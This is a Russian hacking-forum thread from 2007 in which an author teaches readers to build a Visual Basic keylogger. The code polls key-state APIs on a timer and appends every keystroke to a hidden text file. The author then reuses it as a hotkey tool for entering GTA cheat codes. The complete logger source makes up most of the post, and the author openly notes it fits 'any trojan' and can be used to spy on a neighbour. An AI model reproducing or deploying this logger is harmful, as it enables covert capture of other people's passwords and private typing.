ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Кейлогер на Vb или как правильно играть в Gta!!!
  #1  
Старый 07.02.2007, 01:28
Аватар для je0n
je0n
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521

Репутация: 272
Отправить сообщение для je0n с помощью ICQ
По умолчанию Кейлогер на Vb или как правильно играть в Gta!!!

Эта статья писалась лет 8 назад, поэтому не глумитесь )
Поехали:

Привет. Это моя первая статья и я решил написать её в Word’е, чтобы вы могли её распечатать и не портить себе глаза чтением с монитора (надеюсь потом она будет и в других форматах)… Теперь о мониторе :--))) У меня поломался мой супер-большой и навороченный монитор и я взял монитор у своего знакомого. Всё бы ничего, но у монитора максимальное разрешение 640*480 точек. Представьте сами как удобно в таком печатать, а уж тем более делать скриншоты, а они в рамках этой статьи запланированы, поэтому если будет не красиво – не обисуйте!!!
Как заметно из названия статья она будет о том, как написать сканер клавиатуры на Visual Basic’е. Сначала мы напишем сам сканер, а потом а приведу пример как его можно будет использовать в мирных целях, т.е. без затроянивания соседа, хотя, что с ним делать – это уже не моё дело!!!
Начнём!!! Многие крутые кодеры говорят, что сканер клавиатуры обязательно делать с помощью хуков. Это такие API-функции. Да, я с ними согласен – это самый крутой и навороченный вариант, который подойдёт для всех условий, но нах его использовать, если есть варианты попроще и не менее эффективны, а также подойдут для любого Трояна?
Наш сканер будет использовать всего две API-функции – это GetKeyState и GetAsyncKeyState. Я попробую написать эту статью для новичка, который знает как писать простенькие программы на VB, но ещё плохо представляет, что такое функция… С этого и начну.
Итак, если вы уже программировали на VB, то уже использовали какие-нить функции, например Sin() или Cos() или любый другие. Прикол функции в том, что вы её просто пишите, а всё остальное она делает за вас сама. Это тоже самое как в матиметике Sin(п/2)=1 или cos(п/2)=0. Ведь вы, наверняка не знаете почему эти функции от этих параметров равны именно этим значениям (я это узнал благодаря моему препаду в РГУ ШАБАРШИНОЙ (стерва, нах оно мне надо!!!)!!!), но вы их всё равно используете. Так же и в программировании. Вы получаете результат функции, но не знаете как она получает этот результат и оно вам на фиг не впилось!!!
Чтобы было круче понятно расскажу на примере функции возведения в квадрат. Вы её напишите сами. Откройте VB и добавьте на форму кнопу(Button1) и текстовое поле(Text1). У кнопки в свойство Caption напишите “ВОЗВЕСТИ В КВАДРАТ”. Должно получиться вот так (ещё раз, прошу прошения за мой монитор!!!).

Дальше система такая – вводим в текстовое поле (Text1) какое-нить число, нажимаем на кнопку и в том же текстовом поле получаем квадрат этого число. Для это мы будем использовать функцию Kvad(x as Double). То есть переменная x будет содержать то число, которое мы хотим возвести в квадрат. Вот код этой функции:
Код:
Function Kvad(x As Double) As Double
Kvad = x * x
End Function
Вот видите, мы присваиваем самой функции её значение умноженной само на себя. Т.е. квадрат числа x.
И теперь в обработчике события кнопки пишём Text1.Text = Kvad(Text1.Text). Теперь вы вводите любое число в текстовое поле, нажимаете на кнопке и получаете квадрат этого числа (надеюсь не слишком заумно). Естественно вы должны ввести только число и ничего кроме числа, иначе программа выдаст ошибку. Это один из недостатков (или, наоборот, достоинств, кому как нравиться) VB. Приведу полный пример кода программы:
Код:
Function Kvad(x As Double) As Double
Kvad = x * x
End Function

Private Sub Command1_Click()
Text1.Text = Kvad(Text1.Text)
End Sub
Объясню по фрагментам:
- Fucntion – ключевое слово, которое означает, что дальше буде идти функция, функция заканчивается ключевыми словами End Function
- Kvad(x As Double) As Double – как видите этот набор буковок идёт вместе со словом Function – так вот здесь определяется имя функции и параметры, который будут ей (функции) передаваться, то есть x As Double означает, что будем передавать функции число типа Double (надеюсь, знаете, что это за тип у числа, если не знаете – читайте учебники или спрашивайте на jeon@inbox.ru). И этот самый x мы можем использовать в самой функции (то есть между словами Function и End Function). Что мы и делаем в следующей строчке.
- Kvad = x * x – Заметьте у нашей функции имя Kvad и передаём мы ей x, вот и присваиваем Kvad’у x*x. То есть функция вернёт перемноженный x, как и синус п/2 вернёт еденицу. Буду надеяться, что это понятно.
- End Function – ну это я уже не однократно описал, эти слова означают конец функции.

Ну и теперь в обработчике нажатия кнопки мыши мы пишем Text1.Text = Kvad(Text1.Text) . Это означает, что в текстовое поле засовываем результат функции Kvad() из того же поля.

Ну надеюсь вы поняли, что такое функция, без дебильных университетских определений, типа функция – это блок операторов, выполняющих определённую задачу. Ненавижу институтское образование!!! Это для лохов!!! Нормальный чуваки учатся как у них получиться, а не у долбанного старпёра-препада, который кроме названия своего предмета ни хера не знает!!!  Это меня просто отчислили из универа, вот я и злой такой. Хотя я на самом деле считаю так (привет Шабаршина-сучара!!! ). Ну теперь переходим к API функциям.
Api-функции – это такие же функции, но их использует операционная система и лежат они (функции) в .dll файлах. Например, есть API-функции создания окна, получение текста из заголовка окна, но они нас сейчас не волнуют. Нам нужны функции GetKeyState и GetAsyncKeyState. Прежде чем их использовать их надо объявить в своей программе.
Сейчас мы сделаем будущую форму для нашего кейлогера и объявим эти функции, а потом я объясню, что значат эти функции.
Создайте новый exe-проект и добавьте на форму таймер (Timer1). У таймера свойство интервал поставьте примерно в 50 (если кто не знает, то это через сколько миллисекунд будет выполняться таймер). Теперь идите в меню Добавления->МенеджерДополнений. Извините – не знаю как это выглядит в английской версии, но Добавления это второй пункт меню от конца (т.е. предпоследний). В появившемся окне выбирайте API Viewer (два раза клацните на нём) и давите OK. Теперь идите в меню Добавления->ApiViewer. Здесь будем выбирать нужный нам функции, чтобы не прописывать их ручками. Итак, в программе API Viewer выбирите File->LoadTextFile и загружайте файл WIN32API. Там есть строчка для поиска, так вот в ней и вводите GetKeyState, когда найдёте её, Declare Scope установите в Private и давите кнопку Add. Тоже самое проделайте с GetAsyncKeyState. Вот скриншот, что должно получиться:

Теперь нажмите на кнопку Copy и закрывайте Api Viewer, теперь объявления этих функций у вас в буфере обмена и вы просто можете вставить их в код свой программы. Именно это и делайте, т.е. откройте окна кода VB и в самый верх вставьте эти несколько строчек.
Теперь напишем функцию, которая и будет сканить клаву. Для этого вам нужно знать как работают эти две функции. Начнём с функции GetKeyState.
Эта функция определяет каково состояние у клавиши: поднята, нажата или переключается. В качестве входящего параметра эта функция принимает код клавиши (которую мы и будем проверять – нажата она или нет). В документации о возвращаемых значениях написано примерно так:
Возвpащаемое значение:
Клавиша нажата, если стаpший бит pавен 1, и клавиша пеpеключается, если младший бит pавен 1.
Вам что-нить ясно из этого? И мне было абсолютно не понятно, пока я не поэкспериментировал с этой функцией сам. И скажу вот что – функция возвращает либо 0, либо 1 если клавиша отпущена (т.е. не нажата). Или же -127, или -128 если кнопка нажата. Причём значения 0 и 1 берутся не наобум, а последовательно. Короче если я нажал кнопку, а затем отпустил её и у меня функция вернула 0, то в следующий раз она вернёт 1, а потом опять 0 и т.д. На этом мы и будем играть. Мы создадим массив в котором будем хранить возвращаемые значения функции, а затем в цикле будем проверять значения возвращаемые этой функцией, если какое-либо значение не совпало со значением в массиве, значит эта кнопка была нажата, а для стопудовой гарантии ещё и будем проверять это дело функцией GetAsyncKeyState. Эта функции принимает такое же значение как и GetKeyState, только возвращает 0 если кнопка отпущена (не нажата), или любое другое значение, если кнопка нажата. Все полученные от функции значения мы будем записывать в текстовый файл. Теперь приведу весь код программы.
Код:
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private KeyFGKS(255) As Integer


Function KeyScan() As String

For i = 1 To 255
   If Not GetKeyState(i) = KeyFGKS(i) And GetAsyncKeyState(i) <> 0 Then      'Åñëè êíîïêà áûëà íàæàòà
      KeyFGKS(i) = GetKeyState(i)
      If i >= 65 And i <= 90 Then
         KeyScan = Chr(i)
         Exit For
      End If
      Select Case i
         Case 1
            KeyScan = "-LeftMouse-"
         Case 2
            KeyScan = "-RightMouse-"
         Case 4
            KeyScan = "-MouseScroll-"
         Case 192
            KeyScan = "~"
         Case 49
            KeyScan = "1"
         Case 50
            KeyScan = "2"
         Case 51
            KeyScan = "3"
         Case 52
            KeyScan = "4"
         Case 53
            KeyScan = "5"
         Case 54
            KeyScan = "6"
         Case 55
            KeyScan = "7"
         Case 56
            KeyScan = "8"
         Case 57
            KeyScan = "9"
         Case 48
            KeyScan = "0"
         Case 189
            KeyScan = "-"
         Case 187
            KeyScan = "="
         Case 220
            KeyScan = "\"
         Case 8
            KeyScan = "-BackSpace-"
         Case 9
            KeyScan = "-TAB-"
         Case 20
            KeyScan = "-CapsLock-"
         Case 160
            KeyScan = "-LShift-"
         Case 161
            KeyScan = "-RShift-"
         Case 162
            KeyScan = "-LCtrl-"
         Case 163
            KeyScan = "-RCtrl-"
         Case 164
            KeyScan = "-LAlt-"
         Case 165
            KeyScan = "-RAlt-"
         Case 32
            KeyScan = " "
         Case 144
            KeyScan = "-NumLock-"
         Case 96
            KeyScan = "-NP0-"
         Case 97
            KeyScan = "-NP1-"
         Case 98
            KeyScan = "-NP2-"
         Case 99
            KeyScan = "-NP3-"
         Case 100
            KeyScan = "-NP4-"
         Case 101
            KeyScan = "-NP5-"
         Case 102
            KeyScan = "-NP6-"
         Case 103
            KeyScan = "-NP7-"
         Case 104
            KeyScan = "-NP8-"
         Case 105
            KeyScan = "-NP9-"
         Case 27
            KeyScan = "-Esc-"
         Case 112
            KeyScan = "-F1-"
         Case 113
            KeyScan = "-F2-"
         Case 114
            KeyScan = "-F3-"
         Case 115
            KeyScan = "-F4-"
         Case 116
            KeyScan = "-F5-"
         Case 117
            KeyScan = "-F6-"
         Case 118
            KeyScan = "-F7-"
         Case 119
            KeyScan = "-F8-"
         Case 120
            KeyScan = "-F9-"
         Case 121
            KeyScan = "-F10-"
         Case 122
            KeyScan = "-F11-"
         Case 123
            KeyScan = "-F12-"
         Case 111
            KeyScan = "-NP/-"
         Case 106
            KeyScan = "*"
         Case 109
            KeyScan = "-NP--"
         Case 107
            KeyScan = "+"
         Case 114
            KeyScan = "-F3-"
         Case 110
            KeyScan = "-NP.-"
         Case 44
            KeyScan = "-PrintScreen-"
         Case 145
            KeyScan = "-ScrollLock-"
         Case 19
            KeyScan = "-PauseBreak-"
         Case 33
            KeyScan = "-PageUp-"
         Case 34
            KeyScan = "-PageDown-"
         Case 36
            KeyScan = "-Home-"
         Case 35
            KeyScan = "-End-"
         Case 45
            KeyScan = "-Insert-"
         Case 46
            KeyScan = "-Delete-"
         Case 39
            KeyScan = "-Right-"
         Case 38
            KeyScan = "-Up-"
         Case 37
            KeyScan = "-Left-"
         Case 40
            KeyScan = "-Down-"
         Case 13
            KeyScan = vbCrLf
         Case 191
            KeyScan = "/"
         Case 188
            KeyScan = ","
         Case 190
            KeyScan = "."
         Case 219
            KeyScan = "["
         Case 221
            KeyScan = "]"
         Case 186
            KeyScan = ";"
         Case 222
            KeyScan = "'"
      End Select

      Exit For                            
   End If
Next i

End Function

Private Sub Timer1_Timer()
Dim s As String
s = KeyScan
If Not s = "" Then
  Open "c:\1.txt" For Append As #1
  Print #1, s
  Close #1
End If
End Sub
Чё длинная? Ха-ха… Не парьтесь! Там всё место занимает конструкция Select Case, чтобы функция вернула красивое значение, а не код нажатой клавиши. В первых нескольких строчках функции KeyScan() идёт просто проверка на нажатые кнопки, дальше же идёт определение какая именно была нажата кнопка по её коду. Единственно может вызвать удивление вот этот код:
Код:
      If i >= 65 And i <= 90 Then
         KeyScan = Chr(i)
         Exit For
      End If
Здесь дело в том, что кейкод буквенных клавиш совпадаёт с их ASCII значениями. Всё это можно было бы занести в конструкцию Select Case и сделать код ещё длиннее, но мне впадлу было это делать. В обработчике таймера мы просто записываем значения возвращаемые функцией в текстовый файл, если функция возвращает всё, что угодно кроме пустой строки.
Вот собственно и весь сканер, но я обещал написать про то, как это можно использовать в GTA. Хорошо приступим к этому. Вы наверняка постоянно пользуйтесь паролями при игре в GTA – Vice City. Вы постоянно вводите Aspirine, gettherefast и т.д. Но иногда при большой перестрелке заморачивает вводить тот-же aspirine по десять раз. Вот мы напишем программу, которая будет вводить эти пароли за нас. Нам только нужно будет нажать горячую клавишу для пароля и он введется сам. Вот такую программу мы сейчас и напишем.
Добавьте текстовое поле в тот же проект, в котором делали сканер клавы, и его свойству Name дайте значение Hots (от слова HotKeys). Теперь нам нужно создать массив таких элементов с именем Hots. Для этого клацните правой пимпой мыши на текстовом поле и выбирите Copy. Ну и вставьте на форму этот же элемент. Вам предложат создать массив таких элементов. Соглашайтесь – т.е. жмите «да». Подставляйте ещё таких же элементов штук пять – или сколько вам надо вводить паролей для классного гейминга. Теперь добавьте новое текстовое поле на форму и дайте ей имя Pass (от password) – сюда будите вписывать пароли. И расположите её напротив первого элемента Hots. И такой же темой как вы создавали массив Hots создайте массив Pass. Причём расположите 0-й элемент Hots напротив 0-вого элемента Pass и тоже самое с первыми, вторыми и.т.д элементами. У меня получилось вот так:

То есть в левый столбик вы будите записывать горячие клавиши, а в правый пароли, который будут соответствовать этим клавишам. В обработчик события KeyUp массива Hots запишите следующий код:
 
Ответить с цитированием

  #2  
Старый 07.02.2007, 01:29
Аватар для je0n
je0n
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521

Репутация: 272
Отправить сообщение для je0n с помощью ICQ
По умолчанию

Код:
Private Sub Hots_KeyUp(Index As Integer, KeyCode As Integer, Shift As Integer)

If KeyCode >= 65 And KeyCode <= 90 Then          'Îïðåäåëåíèå êëàâèøè
  Hots(Index).Text = Chr(KeyCode)
  Exit Sub
End If

Select Case KeyCode
         Case 192
            Hots(Index).Text = "~"
         Case 49
            Hots(Index).Text = "1"
         Case 50
            Hots(Index).Text = "2"
         Case 51
            Hots(Index).Text = "3"
         Case 52
            Hots(Index).Text = "4"
         Case 53
            Hots(Index).Text = "5"
         Case 54
            Hots(Index).Text = "6"
         Case 55
            Hots(Index).Text = "7"
         Case 56
            Hots(Index).Text = "8"
         Case 57
            Hots(Index).Text = "9"
         Case 48
            Hots(Index).Text = "0"
         Case 189
            Hots(Index).Text = "-"
         Case 187
            Hots(Index).Text = "="
         Case 220
            Hots(Index).Text = "\"
         Case 8
            Hots(Index).Text = "-BackSpace-"
         Case 9
            Hots(Index).Text = "-TAB-"
         Case 20
            Hots(Index).Text = "-CapsLock-"
         Case 160
            Hots(Index).Text = "-LShift-"
         Case 161
            Hots(Index).Text = "-RShift-"
         Case 162
            Hots(Index).Text = "-LCtrl-"
         Case 163
            Hots(Index).Text = "-RCtrl-"
         Case 164
            Hots(Index).Text = "-LAlt-"
         Case 165
            Hots(Index).Text = "-RAlt-"
         Case 144
            Hots(Index).Text = "-NumLock-"
         Case 96
            Hots(Index).Text = "-NP0-"
         Case 97
            Hots(Index).Text = "-NP1-"
         Case 98
            Hots(Index).Text = "-NP2-"
         Case 99
            Hots(Index).Text = "-NP3-"
         Case 100
            Hots(Index).Text = "-NP4-"
         Case 101
            Hots(Index).Text = "-NP5-"
         Case 102
            Hots(Index).Text = "-NP6-"
         Case 103
            Hots(Index).Text = "-NP7-"
         Case 104
            Hots(Index).Text = "-NP8-"
         Case 105
            Hots(Index).Text = "-NP9-"
         Case 27
            Hots(Index).Text = "-Esc-"
         Case 112
            Hots(Index).Text = "-F1-"
         Case 113
            Hots(Index).Text = "-F2-"
         Case 114
            Hots(Index).Text = "-F3-"
         Case 115
            Hots(Index).Text = "-F4-"
         Case 116
            Hots(Index).Text = "-F5-"
         Case 117
            Hots(Index).Text = "-F6-"
         Case 118
            Hots(Index).Text = "-F7-"
         Case 119
            Hots(Index).Text = "-F8-"
         Case 120
            Hots(Index).Text = "-F9-"
         Case 121
            Hots(Index).Text = "-F10-"
         Case 122
            Hots(Index).Text = "-F11-"
         Case 123
            Hots(Index).Text = "-F12-"
         Case 111
            Hots(Index).Text = "-NP/-"
         Case 106
            Hots(Index).Text = "*"
         Case 109
            Hots(Index).Text = "-NP--"
         Case 107
            Hots(Index).Text = "+"
         Case 114
            Hots(Index).Text = "-F3-"
         Case 110
            Hots(Index).Text = "-NP.-"
         Case 44
            Hots(Index).Text = "-PrintScreen-"
         Case 145
            Hots(Index).Text = "-ScrollLock-"
         Case 19
            Hots(Index).Text = "-PauseBreak-"
         Case 33
            Hots(Index).Text = "-PageUp-"
         Case 34
            Hots(Index).Text = "-PageDown-"
         Case 36
            Hots(Index).Text = "-Home-"
         Case 35
            Hots(Index).Text = "-End-"
         Case 45
            Hots(Index).Text = "-Insert-"
         Case 46
            Hots(Index).Text = "-Delete-"
         Case 39
            Hots(Index).Text = "-Right-"
         Case 38
            Hots(Index).Text = "-Up-"
         Case 37
            Hots(Index).Text = "-Left-"
         Case 40
            Hots(Index).Text = "-Down-"
         Case 13
            Hots(Index).Text = vbCrLf
         Case 191
            Hots(Index).Text = "/"
         Case 188
            Hots(Index).Text = ","
         Case 190
            Hots(Index).Text = "."
         Case 219
            Hots(Index).Text = "["
         Case 221
            Hots(Index).Text = "]"
         Case 186
            Hots(Index).Text = ";"
         Case 222
            Hots(Index).Text = "'"
End Select

End Sub
Это нужно, чтобы значения в этом поле совпадало с одним из возвращаемых значений функции KeyScan. Иначе программа не сможет понять какую кнопку нужно нажимать для ввода пароля. Скажу лишь, что index – это номер элемента массива Hots, а KeyCode – это код отпускаемой клавиши, когда курсор стоит на одном из элементов Hots. Надеюсь это понятно.
Теперь в обработчике таймера сотрите, все, что мы понаписали до этого и введите следующий код:
Код:
Private Sub Timer1_Timer()
Dim s As String
Dim i As Integer

s = KeyScan

For i = 0 To 7
  If Hots(i).Text = s Then SendKeys (Passwords(i).Text)
Next i
End Sub
Вот здесь немного расскажу. Функция SendKeys посылает строку в программу в которой вы сейчас находитесь. То есть если вы будите находиться в Ворде и свёрнутая программа выполнит команду SendKeys(“fuck you”), то у вас в Ворде напечатается строка fuck you. Понимайте теперь как будут вводиться пароли. Мы играем в GTA, а наша программа просто запущена и мы её не видим. Когда нажимаем какю-нить кнопку таймер проверяет, не горячая ли клавиша была нажата. И если горячая, то вызывает процедуру SendKeys(), а в качестве параметра ей передаётся строка, которая лежит в элементе массива Pass. Естественно, если бы добавили не 8 полей для ввода паролей и горячей клавиши, то и в цикле вам надо указать не от 0 до 7, а от 0 до нужного вам числа. Ну надеюсь это ясно. Теперь можете откомпилить программу и играть в GTA. Но ещё может быть косяк. Если пароли в игре вводиться не будут, то пишите пароли в программе большими буквами или наоборот маленькими. С чем это связано я не понял, но на разных компах по разному. Ещё идейку подкину. Введите кучу раз пароль gettherefast стоя на одном и том же месте, тогда тачки будут сыпаться с неба. А потом стрельните по всей этой свалке из базуки. Такого взрыва вы ещё, наверное, некогда не видели…
Если будут какие проблемы пишите на jeon@inbox.ru, постараюсь ответить. В архиве со статьёй лежат исходники программы, которую мы писали. Удачи.
 
Ответить с цитированием

  #3  
Старый 17.04.2007, 15:23
Аватар для TALIB
TALIB
Новичок
Регистрация: 16.12.2006
Сообщений: 27
Провел на форуме:
181403

Репутация: 21
Отправить сообщение для TALIB с помощью ICQ
По умолчанию

Лень читать) но может кто нить скажет причем тут гта?
 
Ответить с цитированием

  #4  
Старый 19.04.2007, 21:42
Аватар для je0n
je0n
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521

Репутация: 272
Отправить сообщение для je0n с помощью ICQ
По умолчанию

тут пишется прога, которая перехватывает нажатия кнопок (кейлогер). И для некоторых кнопок делаются горячие клавиши для ввода паролей в гта. Нажал кнопку - у тебя все жизни...
 
Ответить с цитированием

  #5  
Старый 30.04.2007, 22:18
Аватар для blok
blok
Новичок
Регистрация: 20.04.2007
Сообщений: 16
Провел на форуме:
312100

Репутация: 2
По умолчанию

честно говоря из вышенаписанного мало что понял... особенно пароли гта....
 
Ответить с цитированием

  #6  
Старый 25.05.2007, 23:48
Аватар для le_san
le_san
Участник форума
Регистрация: 21.04.2007
Сообщений: 138
Провел на форуме:
253084

Репутация: 45
Отправить сообщение для le_san с помощью ICQ
По умолчанию

идея интересная, спасиб))
только... ты над этим думал только ради кодов в гта? =)
 
Ответить с цитированием

  #7  
Старый 25.05.2007, 23:55
Аватар для je0n
je0n
Постоянный
Регистрация: 14.05.2006
Сообщений: 334
Провел на форуме:
1543521

Репутация: 272
Отправить сообщение для je0n с помощью ICQ
По умолчанию

ээээээ.... да я собственно вообще над этим не думал. Идея так сканить кнопки не моя. Она известна еще с незапятных времен
А гта.... Просто показал, реализацию горячих клавиш на полезной вещи . Ты бы понял меня если бы свалил в кучу штук 50 машин и посмотрел на этот "ядерный взрыв".
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Открытое письмо журналу "Хакер" TheFile Болталка 34 31.01.2009 21:03
Как стать хакером! foreva Болталка 19 12.12.2007 00:12
Как напакастить форумчанам или как сказать :) Ponchik Форумы 8 02.10.2006 19:37



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ